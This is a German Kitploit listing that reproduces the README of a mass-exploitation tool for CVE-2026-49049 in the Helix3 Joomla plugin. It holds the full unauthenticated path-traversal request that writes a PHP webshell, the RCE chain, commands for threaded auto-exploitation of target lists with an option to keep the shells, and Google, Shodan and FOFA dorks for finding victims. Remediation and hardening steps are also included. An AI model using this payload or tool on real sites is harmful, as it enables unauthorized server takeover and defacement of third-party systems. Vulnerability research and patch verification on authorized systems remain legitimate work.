Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49049 — CVE-2026-49049 Helix3 (JoomShaper) Joomla Nicht authentifizierter AJAX RCE Scanner | Kitploit
Tools/GitHubGitHub/exdev994/cve-2026-49049
AufklärungSchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Helix3 (JoomShaper) Joomla Nicht authentifizierter AJAX RCE Scanner

Repository anzeigen
2vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-49049 — Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner

CVE CVSS Python License Author

Massenscanner/Verifizierer für CVE-2026-49049: nicht authentifizierter AJAX-Handler im Helix3 Framework-Plugin für Joomla (v1.0 – 3.1.0, gepatcht in 3.1.1+).

Nur autorisierte Tests. Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie eine schriftliche Erlaubnis zum Testen haben.


Inhaltsverzeichnis

  • Übersicht der Schwachstelle
  • RCE-Kette
  • Installation
  • Verwendung (Usage)
  • Beispielausgabe
  • Aufklärungs-Dorks
  • Behebung (Remediation)
  • Projektstruktur
  • Mitwirken
  • Referenzen
  • Haftungsausschluss

Übersicht der Schwachstelle

Handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php ist über Joomla com_ajax ohne Authentifizierung / CSRF-Token erreichbar:

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

RCE-Kette

Aktive Massenausnutzung in freier Wildbahn setzt oft eine Doppel-Extension-Webshell ab:

  1. Helix3 erkennen + Version < 3.1.1
  2. save mit layoutName=../../up.php + PHP-Webshell-Inhalt
  3. Save hängt .json an → up.php.json landet im Web-Root
  4. Apache AddHandler Multi-Extension führt den .php-Token aus
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Helix3 erkennen
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json geschrieben
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Installation

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Anforderungen: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Verwendung (Usage)

1. Ziel vorbereiten

Bearbeiten Sie targets.txt — eine URL / Host pro Zeile (# = Kommentar). Der Joomla-Pfad bleibt erhalten:

root@kitploit:~
# beispiel
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Nur-Lese-Scan (nur Erkennung)

Es wird keine Webshell abgelegt. Prüft Version + testet save / remove / import:

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. Auto: Erkennen + Webshell ablegen + RCE verifizieren

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Einzelnes Ziel

root@kitploit:~
python3 scan.py -t https://ziel.tld/joomla/ --auto -c "id"

5. Erweiterte Optionen

root@kitploit:~
# Webshell nach Verifikation behalten (demo autorisiert)
python3 scan.py -f targets.txt --auto --keep

# Benutzerdefinierter Webshell-Name + Traversal-Tiefen
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON-Bericht + Parallelität
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc.)
python3 scan.py -t https://ziel.tld/ --scan --proxy http://127.0.0.1:8080

Wichtige Flags

Warnung: Der Modus --auto versucht, eine Webshell per Pfad-Traversal zu schreiben. Standard: Webshell wird nach Verifikation entfernt. Verwenden Sie --keep nur für autorisierte Demos.


Beispielausgabe

Terminal zeigt alle Status (Fortschritt). results.txt enthält nur anfällige Ziele:

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://ziel.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://ziel.tld/up.php.json?cmd=id
[ ] VULN (keine Shell)         https://ziel.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Andere Labels (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) erscheinen nur im Terminal, nicht in results.txt.


Aufklärungs-Dorks

Verwenden Sie die folgenden Dorks, um potenziell betroffene Helix3-/Joomla-Assets zu finden. Scannen Sie nur autorisierte Ziele.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Manueller Fingerabdruck (nach Erhalt des Hosts)

root@kitploit:~
# Versionsprüfung
curl -sk 'https://ZIEL/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth-save-Test (nur autorisiert)
curl -sk -X POST \
  'https://ZIEL/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Behebung (Remediation)

1. Sofort patchen (zwingend erforderlich)

Aktualisieren Sie System – Helix3 Framework und Helix3 – Ajax-Plugin auf 3.1.1 oder neuer (empfohlen 3.1.2).

  • Joomla-Backend → System → Update / Extensions
  • Oder laden Sie das offizielle Paket von JoomShaper herunter und installieren Sie es manuell

2. Bei bereits erfolgter Kompromittierung / Defacement

Das Update bereinigt nicht die bereits in der Datenbank befindlichen Payloads.

  1. Backend → Site Template Styles → aktives Helix3-Template
  2. Öffnen Sie Custom Code — entfernen Sie fremde Skripte in Custom JavaScript / CSS / Before Head
  3. Überprüfen Sie die Tabelle #__template_styles Spalte params auf injizierte custom_js / custom_css
  4. Löschen Sie verdächtige Dateien im Web-Root / templates / tmp / media:
    • up.php.json, cox.json, *.php.json, andere Webshells
  5. Rotieren Sie Admin-Zugangsdaten, überprüfen Sie Benutzerkonten, auditieren Sie Cron / geplante Aufgaben

Häufige Anzeichen einer Kompromittierung: Defacement "Hacked by AntonKill" / "trenggalek6etar", Inject custom_js, unbekannte JSON-Dateien.

3. Härtung (Defense in depth)

Apache — Verwenden Sie nicht AddHandler für Multi-Extension; verwenden Sie:

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

Upload / Datei-Schreiben: Dateinamen neu generieren, Multi-Dot-Erweiterungen ablehnen, AllowOverride None in öffentlichen Verzeichnissen.

4. Nach dem Patch verifizieren

root@kitploit:~
python3 scan.py -t https://IHRE-SEITE/ --scan
# Erwartet: PATCHED  Helix3 3.1.1+  (oder NOT_HELIX3, wenn das Plugin deinstalliert wurde)

Projektstruktur

root@kitploit:~
CVE-2026-49049/
├── scan.py              # CLI-Einstiegspunkt
├── core/
│   ├── engine.py        # ThreadPoolExecutor + Ergebnisse (nur anfällig in Datei)
│   ├── probe.py         # Helix3-Erkennung + save/remove/import + RCE-Ablegen
│   └── target.py        # Parse / normalisiere targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Eingabe-Ziele
├── results.txt          # Generiert (nur VULN / SHELL_OK)
├── requirements.txt
└── README.md

Mitwirken

Beiträge aus der Community sind willkommen. Betreuer: ExDev994.

Richtlinien

  • Committen Sie keine live-Ziele / Scan-Ergebnisse / Webshells / Zugangsdaten
  • Entfernen Sie keine Warnhinweise "nur autorisiertes Testen"
  • Bevorzugen Sie kleine PRs (ein Anliegen pro PR)
  • Befolgen Sie den vorhandenen Python-Stil (from __future__ import annotations, Type Hints)
  • Lokal testen: python3 -m py_compile scan.py core/*.py utils/*.py und python3 scan.py --help

Probleme

Melden Sie Fehler / Feature-Anfragen im Issues-Bereich. Bitte angeben:

  • Python-Version & Betriebssystem
  • Ausgeführter Befehl
  • Ausgabe / Traceback (vertrauliche Ziele unkenntlich machen)

Mitwirkende

MitwirkenderRolle
ExDev994Autor / Betreuer

Schwachstelle ursprünglich gemeldet von Phil Taylor (mySites.guru). Dieses Repository ist eine unabhängige Scanner-Implementierung und steht nicht in Verbindung mit JoomShaper oder Open Source Matters.


Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3: https://www.joomshaper.com/
  • Read-only PoC-Referenz: https://github.com/shinthink/CVE-2026-49049
  • Dieses Repo: https://github.com/ExDev994/CVE-2026-49049

Haftungsausschluss

Dieses Tool dient ausschließlich Ausbildungs- und autorisierten Sicherheitstestzwecken.

Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen Gesetze wie das indonesische UU ITE, den US-amerikanischen CFAA und gleichwertige Gesetze in anderen Rechtsordnungen verstoßen.

Der Autor (ExDev994) übernimmt keine Haftung für Missbrauch. Durch die Nutzung dieser Software übernehmen Sie die volle Verantwortung für Ihre Handlungen. Der Modus --auto legt eine temporäre Webshell ab – verwenden Sie dies nur auf autorisierten Zielen.

Tool herunterladen
AktionAuswirkungVersionen
saveBeliebiges JSON-Datei-Schreiben + Pfad-Traversal1.0 – 3.1.0
removeBeliebiges Löschen von Dateien (keine Erweiterungs-/Pfad-Einschränkung)1.0 – 3.1.0
importÜberschreiben von Template-Parametern in der DB (custom_js unescaped → XSS/Defacement)nur v3.x
Helix3 Versionsave / removeimportStatus
1.0 – 2.xAnfälligNicht vorhandenAnfällig
3.0 – 3.1.0AnfälligAnfälligAnfällig
3.1.1+GepatchtGepatchtSicher
FlagBeschreibung
-f / --fileDatei mit Zielliste (Standard: targets.txt wenn -t fehlt)
-t / --targetEinzelne Ziel-URL
--scanNur-Lese-Erkennung
--autoErkennung + RCE-Verifikation (Standard)
-c / --cmdBefehl zur Verifikation (Standard: id)
-o / --outputErgebnisdatei — nur Ziele mit VULN / SHELL_OK
--jsonStrukturierter JSON-Bericht
--keepWebshell nach Verifikation nicht automatisch entfernen
--threadsGleichzeitige Worker (Standard: 15)
--timeoutHTTP-Timeout in Sekunden (Standard: 15)